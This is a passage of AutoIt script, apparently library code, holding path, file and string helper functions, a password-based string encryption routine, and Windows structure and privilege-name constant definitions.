StringMid($sfullpath, 2, 1) <> "\" For $i = 1 To 2 $spath = StringLeft($sfullpath, 2) If $spath = "\\" Then $sfullpath = StringTrimLeft($sfullpath, 2) Local $nserverlen = StringInStr($sfullpath, "\") - 1 $spath = "\\" & StringLeft($sfullpath, $nserverlen) $sfullpath = StringTrimLeft($sfullpath, $nserverlen) ExitLoop ElseIf StringRight($spath, 1) = ":" Then $sfullpath = StringTrimLeft($sfullpath, 2) ExitLoop Else $sfullpath = $sbasepath & "\" & $sfullpath EndIf Next If $i = 3 Then Return "" If StringLeft($sfullpath, 1) <> "\" Then If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then $sfullpath = $sbasepath & "\" & $sfullpath Else $sfullpath = "\" & $sfullpath EndIf EndIf Local $atemp = StringSplit($sfullpath, "\") Local $apathparts[$atemp[0]], $j = 0 For $i = 2 To $atemp[0] If $atemp[$i] = ".." Then If $j Then $j -= 1 ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then $apathparts[$j] = $atemp[$i] $j += 1 EndIf Next $sfullpath = $spath If NOT $brootonly Then For $i = 0 To $j - 1 $sfullpath &= "\" & $apathparts[$i] Next Else $sfullpath &= $sfullpathconst If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath) EndIf While StringInStr($sfullpath, ".\") $sfullpath = StringReplace($sfullpath, ".\", "\") WEnd Return $sfullpath EndFunc Func _pathgetrelative($sfrom, $sto) If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\" If StringRight($sto, 1) <> "\" Then $sto &= "\" If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1)) Local $asfrom = StringSplit($sfrom, "\") Local $asto = StringSplit($sto, "\") If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1)) Local $i = 2 Local $idiff = 1 While 1 If $asfrom[$i] <> $asto[$i] Then $idiff = $i ExitLoop EndIf $i += 1 WEnd $i = 1 Local $srelpath = "" For $j = 1 To $asto[0] If $i >= $idiff Then $srelpath &= "\" & $asto[$i] EndIf $i += 1 Next $srelpath = StringTrimLeft($srelpath, 1) $i = 1 For $j = 1 To $asfrom[0] If $i > $idiff Then $srelpath = "..\" & $srelpath EndIf $i += 1 Next If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1) Return $srelpath EndFunc Func _pathmake($szdrive, $szdir, $szfname, $szext) If StringLen($szdrive) Then If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":" EndIf If StringLen($szdir) Then If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\" EndIf If StringLen($szext) Then If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext EndIf Return $szdrive & $szdir & $szfname & $szext EndFunc Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext) Local $drive = "" Local $dir = "" Local $fname = "" Local $ext = "" Local $pos Local $array[5] $array[0] = $szpath If StringMid($szpath, 2, 1) = ":" Then $drive = StringLeft($szpath, 2) $szpath = StringTrimLeft($szpath, 2) ElseIf StringLeft($szpath, 2) = "\\" Then $szpath = StringTrimLeft($szpath, 2) $pos = StringInStr($szpath, "\") If $pos = 0 Then $pos = StringInStr($szpath, "/") If $pos = 0 Then $drive = "\\" & $szpath $szpath = "" Else $drive = "\\" & StringLeft($szpath, $pos - 1) $szpath = StringTrimLeft($szpath, $pos - 1) EndIf EndIf Local $nposforward = StringInStr($szpath, "/", 0, -1) Local $nposbackward = StringInStr($szpath, "\", 0, -1) If $nposforward >= $nposbackward Then $pos = $nposforward Else $pos = $nposbackward EndIf $dir = StringLeft($szpath, $pos) $fname = StringRight($szpath, StringLen($szpath) - $pos) If StringLen($dir) = 0 Then $fname = $szpath $pos = StringInStr($fname, ".", 0, -1) If $pos Then $ext = StringRight($fname, StringLen($fname) - ($pos - 1)) $fname = StringLeft($fname, $pos - 1) EndIf $szdrive = $drive $szdir = $dir $szfname = $fname $szext = $ext $array[1] = $drive $array[2] = $dir $array[3] = $fname $array[4] = $ext Return $array EndFunc Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1) Local $iretval = 0 Local $ncount, $sendswith If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1) Local $hfile = FileOpen($szfilename, $fo_read) If $hfile = -1 Then Return SetError(1, 0, -1) Local $s_totfile = FileRead($hfile, FileGetSize($szfilename)) If StringRight($s_totfile, 2) = @CRLF Then $sendswith = @CRLF ElseIf StringRight($s_totfile, 1) = @CR Then $sendswith = @CR ElseIf StringRight($s_totfile, 1) = @LF Then $sendswith = @LF Else $sendswith = "" EndIf Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF) FileClose($hfile) Local $iencoding = FileGetEncoding($szfilename) Local $hwritehandle = FileOpen($szfilename, $iencoding + $fo_overwrite) If $hwritehandle = -1 Then Return SetError(2, 0, -1) For $ncount = 1 To $afilelines[0] If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then $afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness) $iretval = $iretval + 1 If $foccurance = 0 Then $iretval = 1 ExitLoop EndIf EndIf Next For $ncount = 1 To $afilelines[0] - 1 If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then FileClose($hwritehandle) Return SetError(3, 0, -1) EndIf Next If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith) FileClose($hwritehandle) Return $iretval EndFunc Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7) If IsKeyword($s_fileprefix) Then $s_fileprefix = "~" If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp" If IsKeyword($i_randomlength) Then $i_randomlength = 7 If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\" Local $s_tempname Do $s_tempname = "" While StringLen($s_tempname) < $i_randomlength $s_tempname = $s_tempname & Chr(Random(97, 122, 1)) WEnd $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension Until NOT FileExists($s_tempname) Return $s_tempname EndFunc Func _hextostring($strhex) If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex) Return BinaryToString("0x" & $strhex) EndFunc Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1) Local $s_case = "" If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)" Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)" $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1") $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1") If $s_start = "" Then $s_start = "\A" If $s_end = "" Then $s_end = "\z" Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3) If @error Then Return SetError(1, 0, 0) Return $a_ret EndFunc Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1) If $i_encrypt <> 0 AND $i_encrypt <> 1 Then SetError(1, 0, "") ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then SetError(1, 0, "") Else If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1 Local $v_encryptmodified Local $i_encryptcounth Local $i_encryptcountg Local $v_encryptswap Local $av_encryptbox[256][2] Local $i_encryptcounta Local $i_encryptcountb Local $i_encryptcountc Local $i_encryptcountd Local $i_encryptcounte Local $v_encryptcipher Local $v_encryptcipherby If $i_encrypt = 1 Then For $i_encryptcountf = 0 To $i_encryptlevel Step 1 $i_encryptcountg = "" $i_encryptcounth = "" $v_encryptmodified = "" For $i_encryptcountg = 1 To StringLen($s_encrypttext) If $i_encryptcounth = StringLen($s_encryptpassword) Then $i_encryptcounth = 1 Else $i_encryptcounth += 1 EndIf $v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255)) Next $s_encrypttext = $v_encryptmodified $i_encryptcounta = "" $i_encryptcountb = 0 $i_encryptcountc = "" $i_encryptcountd = "" $i_encryptcounte = "" $v_encryptcipherby = "" $v_encryptcipher = "" $v_encryptswap = "" $av_encryptbox = "" Local $av_encryptbox[256][2] For $i_encryptcounta = 0 To 255 $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1)) $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta Next For $i_encryptcounta = 0 To 255 $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256) $v_encryptswap = $av_encryptbox[$i_encryptcounta][0] $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0] $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap Next For $i_encryptcounta = 1 To StringLen($s_encrypttext) $i_encryptcountc = Mod(($i_encryptcountc + 1), 256) $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256) $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0] $v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte) $v_encryptcipher &= Hex($v_encryptcipherby, 2) Next $s_encrypttext = $v_encryptcipher Next Else For $i_encryptcountf = 0 To $i_encryptlevel Step 1 $i_encryptcountb = 0 $i_encryptcountc = "" $i_encryptcountd = "" $i_encryptcounte = "" $v_encryptcipherby = "" $v_encryptcipher = "" $v_encryptswap = "" $av_encryptbox = "" Local $av_encryptbox[256][2] For $i_encryptcounta = 0 To 255 $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1)) $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta Next For $i_encryptcounta = 0 To 255 $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256) $v_encryptswap = $av_encryptbox[$i_encryptcounta][0] $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0] $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap Next For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2 $i_encryptcountc = Mod(($i_encryptcountc + 1), 256) $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256) $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0] $v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte) $v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby) Next $s_encrypttext = $v_encryptcipher $i_encryptcountg = "" $i_encryptcounth = "" $v_encryptmodified = "" For $i_encryptcountg = 1 To StringLen($s_encrypttext) If $i_encryptcounth = StringLen($s_encryptpassword) Then $i_encryptcounth = 1 Else $i_encryptcounth += 1 EndIf $v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255)) Next $s_encrypttext = $v_encryptmodified Next EndIf Return $s_encrypttext EndIf EndFunc Func _stringexplode($sstring, $sdelimiter, $ilimit = 0) If $ilimit > 0 Then $sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit) $sdelimiter = Chr(0) ElseIf $ilimit < 0 Then Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit) If $iindex Then $sstring = StringLeft($sstring, $iindex - 1) EndIf EndIf Return StringSplit($sstring, $sdelimiter, 3) EndFunc Func _stringinsert($s_string, $s_insertstring, $i_position) Local $i_length, $s_start, $s_end If $s_string = "" OR (NOT IsString($s_string)) Then Return SetError(1, 0, $s_string) ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then Return SetError(2, 0, $s_string) Else $i_length = StringLen($s_string) If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then Return SetError(3, 0, $s_string) EndIf EndIf If $i_position = 0 Then Return $s_insertstring & $s_string ElseIf $i_position > 0 Then $s_start = StringLeft($s_string, $i_position) $s_end = StringRight($s_string, $i_length - $i_position) Return $s_start & $s_insertstring & $s_end ElseIf $i_position < 0 Then $s_start = StringLeft($s_string, Abs($i_length + $i_position)) $s_end = StringRight($s_string, Abs($i_position)) Return $s_start & $s_insertstring & $s_end EndIf EndFunc Func _stringproper($s_string) Local $ix = 0 Local $capnext = 1 Local $s_nstr = "" Local $s_curchar For $ix = 1 To StringLen($s_string) $s_curchar = StringMid($s_string, $ix, 1) Select Case $capnext = 1 If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") Then $s_curchar = StringUpper($s_curchar) $capnext = 0 EndIf Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") $capnext = 1 Case Else $s_curchar = StringLower($s_curchar) EndSelect $s_nstr &= $s_curchar Next Return $s_nstr EndFunc Func _stringrepeat($sstring, $irepeatcount) Local $sresult Select Case NOT StringIsInt($irepeatcount) SetError(1) Return "" Case StringLen($sstring) < 1 SetError(1) Return "" Case $irepeatcount <= 0 SetError(1) Return "" Case Else For $icount = 1 To $irepeatcount $sresult &= $sstring Next Return $sresult EndSelect EndFunc Func _stringreverse($s_string) Local $i_len = StringLen($s_string) If $i_len < 1 Then Return SetError(1, 0, "") Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]") DllStructSetData($t_chars, 1, $s_string) Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars) If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "") Return DllStructGetData($t_chars, 1) EndFunc Func _stringtohex($strchar) Return Hex(StringToBinary($strchar)) EndFunc Global Const $tagpoint = "struct;long X;long Y;endstruct" Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct" Global Const $tagsize = "struct;long X;long Y;endstruct" Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight" Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct" Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct" Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct" Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct" Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param" Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]" Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why" Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param" Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid" Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]" Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct" Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags" Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset" Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved" Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values" Global Const $taggdipencoderparams = "uint Count;byte Params[1]" Global Const $taggdiprectf = "float X;float Y;float Width;float Height" Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs" Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc" Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask" Global Const $taggdippencoderparams = "uint Count;byte Params[1]" Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State" Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam" Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem" Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1" Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value" Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct" Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup" Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct" Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param" Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign" Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam" Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags" Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY" Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol" Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span" Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet" Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds" Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState" Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct" Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags" Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct" Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct" Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct" Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level" Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam" Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item" Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo" Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes" Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData" Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem" Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState" Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak" Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct" Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam" Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM" Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct" Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow" Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags" Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String" Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax" Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider" Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent" Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx" Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad" Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format" Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]" Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]" Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags" Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos" Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]" Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]" Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo" Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID" Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError" Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle" Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]" Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet" Global Const $error_no_token = 1008 Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege" Global Const $se_audit_name = "SeAuditPrivilege" Global Const $se_backup_name = "SeBackupPrivilege" Global Const $se_change_notify_name = "SeChangeNotifyPrivilege" Global Const $se_create_global_name = "SeCreateGlobalPrivilege" Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege" Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege" Global Const $se_create_token_name = "SeCreateTokenPrivilege" Global Const $se_debug_name = "SeDebugPrivilege" Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege" Global Const $se_impersonate_name = "SeImpersonatePrivilege" Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege" Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege" Global Const $se_load_driver_name = "SeLoadDriverPrivilege" Global Const $se_lock_memory_name = "SeLockMemoryPrivilege" Global Const $se_machine_account_name = "SeMachineAccountPrivilege" Global Const $se_manage_volume_name = "SeManageVolumePrivilege" Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege" Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege" Global Const $se_restore_name = "SeRestorePrivilege" Global Const $se_security_name = "SeSecurityPrivilege" Global Const $se_shutdown_name = "SeShutdownPrivilege" Global Const $se_sync_agent_name = "SeSyncAgentPrivilege" Global 